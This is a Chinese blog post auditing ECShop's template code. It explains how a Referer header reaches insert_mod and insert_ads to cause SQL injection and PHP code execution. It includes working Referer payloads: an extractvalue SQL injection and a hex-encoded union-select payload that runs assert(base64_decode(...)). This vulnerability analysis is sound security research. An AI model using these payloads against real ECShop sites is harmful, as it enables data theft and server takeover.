/ 代码审计

代码审计-ECShop多版本高危漏洞

0x01 简述

近日ECShop两个高危漏洞详情公开,其中一个是SQL注入一个是代码注入,利用难度低,影响范围大,漏洞是常规的,但是整个漏洞成因还是比较有趣的,抽时间看了一下代码,分析如下。

0x02 漏洞成因

ECShop采用的是Smarty作为模板引擎,服务端在处理数据输出时,在Smarty模板引擎之上又做了一层自己的处理,用于处理一些动态的输出,避免需要重复编译模板文件。

    function display($filename, $cache_id = '')
    {
        $this->_seterror++;
        error_reporting(E_ALL ^ E_NOTICE);

        $this->_checkfile = false;
        $out = $this->fetch($filename, $cache_id);
        
        if (strpos($out, $this->_echash) !== false)
        {
            $k = explode($this->_echash, $out);

            foreach ($k AS $key => $val)
            {
                if (($key % 2) == 1)
                {
                    $k[$key] = $this->insert_mod($val);
                }
            }
            $out = implode('', $k);
        }
        error_reporting($this->_errorlevel);
        $this->_seterror--;

        echo $out;
    }

如上述代码,$out是编译后的模板文件的输出,其中对动态数据如广告、评论等,通过一个标志位在编译后的模板文件中进行标识,标识的格式是:
554fcae493e564ee0dc75bdf2ebf94camember_info|a:1:{s:4:"name";s:11:"member_info";}554fcae493e564ee0dc75bdf2ebf94ca
前后两端字符串是固定的:554fcae493e564ee0dc75bdf2ebf94ca
中间部分member_info|a:1:{s:4:"name";s:11:"member_info";}使用|分割,前一部分拼接上insert_作为函数名,后一部分序列化数据通过反序列化后作为参数,调用inert_memver_info函数。此处还存在反序列化问题,不知道有没有什么利用链,代码如下

    function insert_mod($name) // 处理动态内容
    {
        list($fun, $para) = explode('|', $name);
        $para = unserialize($para);
        $fun = 'insert_' . $fun;
        return $fun($para);
    }

在ECShop中,对GPC等做了转义处理,但是未处理SERVER变量中数据,在user.php中,登录模板user_passport.dwt直接将referer数据输出在编译模板的结果中,如下图
referer可控点输出此处一个可控点就找到了,referer即可被我们控制为上述数据格式,进而进行利用。

0x03 SQL注入

上面对可控点进行了介绍,ECShop在处理动态数据时,主要的函数位于lib_insert.php文件中,现在该文件里所有insert_开头的函数的参数值时我们可控的,注意到函数insert_ads,其SQL语句拼接了参数中的id/num,此处很明显存在注入。
sql注入点源码
构造Payload:

554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:4:"aaaa";s:2:"id";s:60:"' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))-- ";}554fcae493e564ee0dc75bdf2ebf94ca

sql注入执行结果

0x04 代码注入

继续对insert_ads函数实现代码进行分析

    $position_style = 'str:' . $position_style;

    $need_cache = $GLOBALS['smarty']->caching;
    $GLOBALS['smarty']->caching = false;

    $GLOBALS['smarty']->assign('ads', $ads);
    $val = $GLOBALS['smarty']->fetch($position_style);

    $GLOBALS['smarty']->caching = $need_cache;

    return $val;

postion_style取自数据库查询解决过,现在是我们可控的了,跟进fetch($position_style)
fetch函数源代码
数据通过fetch_str进行处理后传给_eval函数执行,跟进fetch_str函数

    function fetch_str($source)
    {
        if (!defined('ECS_ADMIN'))
        {
            $source = $this->smarty_prefilter_preCompile($source);
        }
        $source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);
        if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))
        {
            $sp_match[1] = array_unique($sp_match[1]);
            for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
            {
                $source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
            }
             for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
            {
                 $source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source);
            }
         }
        // var_dump($source);
        $ret = preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
        // var_dump($ret);
        return $ret;
    }

先过滤了copy/fopen等函数,然后没怎么看懂,后续对匹配到的{非{}\n}格式的数据传入select函数处理,这个格式是smarty变量等语法格式。跟进select函数,其中对变量的处理是

return '<?php echo ' . $this->get_val(substr($tag, 1)) . '; ?>';

其他的没什么好看的,直接返回了空等等。
跟进get_val函数
其中有一个分支

$p = $this->make_var($val);
...
return $p;

跟进make_var函数,将我们的输入拼接到变量$p中返回了!
这里返回的数据将会在_eval函数中被当做代码执行。
构造Payload:

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:136:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24275d3b617373657274286261736536345f6465636f646528634768776157356d6279677029293b2f2f7d,10-- -";s:2:"id";s:3:"'/*";}554fcae493e564ee0dc75bdf2ebf94ca

代码注入执行结果

0x05 总结

这两个漏洞的可控点还是比较奇特的和漏洞形成路径还是比较少见的

ecshop2.x代码执行